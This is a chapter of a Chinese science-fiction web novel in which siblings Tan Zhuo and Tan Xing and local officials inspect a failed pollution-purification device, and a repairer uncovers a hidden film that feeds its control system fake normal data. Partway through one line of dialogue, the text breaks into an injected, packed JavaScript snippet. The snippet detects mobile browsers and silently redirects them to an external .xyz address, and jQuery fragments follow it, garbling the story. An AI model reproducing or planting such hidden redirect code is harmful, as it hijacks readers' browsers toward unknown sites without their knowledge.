这是一座近3米高的棱柱形装置,外壳采用特殊的半透明玻璃材质,如果用普通工具去砸它,是砸不坏的。内部可见绿色光流如血管般脉动,顶部悬浮着一颗水晶球体,实时显示污染物转化率。
底部有数十根仿生根系,深扎进土壤,然后从地下延伸进工厂的每一个合成塔及其他装置。这是用来吸收污染物的,技术成熟,将所有污染物转化为无害化合成物的关键在它。
因为这个装置的诞生,现在的城市与工厂才能够和谐共生,也让科技飞速发展的华国,依旧碧海蓝天。
这个生态闭环净化装置几乎每个工厂和智造署都有,只不过因规模不同,装置的大小也不同,其他并无什么差别。谈醒仔细瞧了瞧,并未看出有什么问题。
内部的光流依旧是绿色的,仿生根系还在不停拱动,这说明它还在尽职尽责吸收污染物。似乎这个装置没有任何问题。
但......她不信。
“哥,这里被污染得那么严重,除了这个装置出了问题,我想不出别的原因。”
谈酌微微弯腰观察着,闻言勾了勾唇,随后直起身道:“等会吧。”
杨山:“等谁啊?”
“修复师。”
杨山“嗐”了一声,“没用,已经请了好几个修复师了,都说没问题。”
林满这时道:“杨局这您就不懂了吧,谈长找的修复师肯定是一流的,跟灰山市的修复师不是一个级别。不过这价格也不便宜吧?杨局我觉得这钱我们得出,毕竟是为灰山市而来,这大老远的,您觉得呢?”
杨山还未说话,谈酌闻言先笑了声,“说得挺对,如果不是你们的疏职,这大老远的,确实难得有机会来灰山市一睹风采。”
林满被噎得懵逼了一下,他看不出来我在坑杨山吗?这货几个意思?
随后她又品出点不对劲来,走到谈酌身边笑说:“你是说我疏职?”
“难道不是吗?”谈酌冷眼看了眼她胸前的工牌,“环境监察大队长。”
林满笑意更深,轻声开口:“可我才上任一天半。”
谈酌一顿,眉头拧了拧,似乎在消化她这句话的意思。林满伸出一只手,道:“重新介绍一下,林满,曾任深湾市环境监察副队,因灰山市前任环境监察领队被革职问责,职位空缺,被特招过来担任领队。”
“......”
谈酌敛了下眸,神情未变,伸手轻轻一握就松开,然后抬眼看向别处,“你们这职位更换挺快。”
“林满凑到谈醒身边,声音丝毫不掩饰,“你哥挺可爱哈。”
难得看自己哥哥吃瘪,谈醒也笑出声。
谈酌:“......”
在旁边的杨山终于找到机会插上话,“这不事情一爆发,局里就开始调查了,立刻换掉了不干实事的人。不过这职位很重要,我们就联系隔壁的深湾市让他们特调一位过来。”
谈酌:“那看来你们换得还不够彻底。”
“呃……”
“噗——”这是林满笑的。
杨山正琢磨着这话咋接,幸好有一个人来解救了他。
“我来了我来了!谁是谈酌?”
来人提着个小工具箱,下了飞梭车就朝这边奔来。
“我,”谈酌往前走了一步,“你是?”
“你好,我是北宸AI维护中心的吴时泽,”吴时泽高兴地跟他握手,“太好了,终于有活了。”
“……”
杨山小声对林满说:“你看这像一流的修复师吗?”
林满往后躲了下,仗着杨山现在没看她的表情翻了个白眼,这个死老登看不出来我很烦他吗?
下一秒她又勉强仰起嘴角回道:“我也不清楚呢。”
谈酌倒是没怀疑,这是秦云深推荐给他的,肯定有点实力。
“你跟我来吧。”打完招呼谈酌要带他去看看那个装置。
“哎兄弟等一下,”吴时泽拽住他的胳膊,然后掏出手机,“先把钱结一下可以吧?”
“……”
吴时泽看他不动,又说:“你放心啊,我是正规组织的,北宸AI维护中心啊,名字响彻全国,绝对不会逃单!”
“……行。”谈酌选择尊重他的习惯,也没打算真的让杨山付,反正杨山已经快要进去了。
等谈酌准备把钱转给他时,吴时泽又说:“等等等等兄弟,这,这少了。”他嘿嘿一笑,“这是三级修复师的价格,我现在是二级,前几天刚升的。”
谈酌手指一顿,难得怀疑起好朋友的眼光。
二级?连一级都不是,秦云深还说他厉害?
不过眼下也来不及换了,他点了几下,把钱转了过去。
收到钱的吴时泽非常满意,他把手机收起来说:“走,去看看是哪个产品坏了,你放心,我肯定认真给你修,这还是我成二级后第一个工作呢,我现在干劲满满,肯定没问题!”
……呃,肯定没问题(吗)
吴时泽看着面前三米高的装置,愣愣道:“你们说的是这个?”
谈酌:“嗯,你看看哪里出了问题。”
“我……我看看,你放心,这点小问题我一会就能给你找出来,”吴时泽摆出专业的态度,“就是检查需要费点时间,毕竟那么高呢是吧?有梯子吗?”
“没有,”杨山摇头,“这都乱成啥样了,上哪弄梯子去。”
“你可以坐飞梭车上去。”谈醒提议道。
“哦也是!”吴时泽一脸佩服,“聪明啊妹妹。”
谈醒:“……”
“谁是你妹妹,”谈酌语气变得不耐烦,“快开始。”
“好好这就开始。”拿钱的是大爷,吴时泽面对大爷一向态度良好。
他立刻把飞梭车唤过来,跳上去开始围着这个装置观察,手里拿着类似放大镜的东西,在那左看看右看看,时不时敲一下,活像在玩一样。
谈醒看他这不正经的样子,本以为要在这耗很久,没想到不到半小时,吴时泽便从飞梭车上下来了。
“可以砸吗?”
?
杨山率先做出反应,“不行不行不行,这装置看起来好好的,砸什么砸,你知道多少钱吗你!”
吴时泽没理他,而是看向他的大爷——谈酌。
他大爷,不是,谈酌则抬了下手,淡声道:“随意。”
“不是,真砸啊?万一啥都没检查出来不就白砸了吗,不再考虑考虑?”
谈醒默不作声看着他。看样子像是真着急了,这个杨山真的不知道生态闭环净化装置已经坏了。
吴时泽这时道:“这位老头,你是谁啊?好像我还没有跟你说过话。”
杨山:“……”
“哈哈哈哈哈哈,”林满很不给面子地笑出声,“吴师傅,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272058|182352||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这是灰山市环保局杨局长。”
“啊,竟然是局长啊!失敬失敬!”吴时泽忙恭敬道,然后又对林满说,“别叫我师傅,叫,叫……”
吴师?好像也不咋好听。
“叫吴哥吧。”
林满:“好的,吴师傅。”
“……”
吴时泽劝自己不要跟女生计较,然后变魔法似的,从他的小工具箱里拿出一个手掌大的锤子,然后按了一下上面的按钮,对着这个近3米高的装置就砸了下去。
“砰——!”
杨山被震得闭紧双眼,往后退了一大步,生怕碎掉的玻璃扎到他身上。
可等了半天也没听见声音,他悄悄睁开眼,就见吴时泽手里放着一小块玻璃,而那个装置也只是掉落了这么一小块。
杨山:“……”
吴时泽招呼大家走近点,“过来看看表面二级实则一级修复师的能耐。”
他手指慢动作从那块玻璃上摩挲两下,然后揭下来一个东西,凑到大家眼前。
这竟是一块膜!
很薄的透明的膜。
与玻璃浑然一体,若不是确实被揭了下来,根本不可能看到它的存在。
“如果我没猜错,就是这玩意让你们的生态闭环净化装置失效的。”
杨山指着它,满眼惊诧,“装置真坏了?还是一块膜导致的?”
“别看它只是一块膜,它能耐大着呢。据我刚才检查,这个装置的处理器被一种能量屏蔽了,让中央控制系统“看到”的永远是一切正常的假数据,从而无法启动真正的净化流程。而这种能量应该就是它发出来的。”
林满好奇问:“你怎么知道一定是它?”
“很简单啊,”吴时泽一摊手,“因为这个装置不可能会有层透明膜。它从生产出来到投入使用就没有。”
修复师首先要尽可能知道更多AI产品的每一个细节,明白发明者制造它的原理,才能更好地找到问题去修复。
生态闭环净化装置光是大,就是很多修复师的噩梦了,因为要了解它,就要一点一点去研究。
这个吴时泽,是有几分实力的。
谈酌问:“要多长时间能修复好?”
吴时泽看着谈酌眨了下眼,然后说:“得明天,我今天要先让同事把修复工具邮过来,事先没想到是这种情况,更复杂的工具没带。”
“那我们今天就先住下。”谈酌从善如流接道。
杨山听了后微微皱了下眉,又很快恢复笑容,“行,我给你们安排泽县的酒店。”
谈酌:“麻烦杨局了。”
“不麻烦不麻烦。”
他们刚走出工厂,就见十几个人在一个领队的指引下,往北边赶。看样子是要去北车站。
其中走在最后的一个最为瞩目。他是个大概二十岁的男生,却走得一瘸一拐,因为他其中一条腿是机械义肢。
可按理来说,机械义肢安装三天后基本就能如正常的腿一样了,走路不会有任何障碍。而这个男生,很明显是刚刚安装了没多久。
绝不会超过三天。
谈酌:“杨局,对于刚安装了机械义肢的病人,为什么没安排车送他?”
“害,小谈你有所不知,这段时间安装机械义肢的人特别多,实在是无法兼顾所有人,所以就辛苦年轻人路上先抗一会,等到了泽县会安排他们住院观察的。”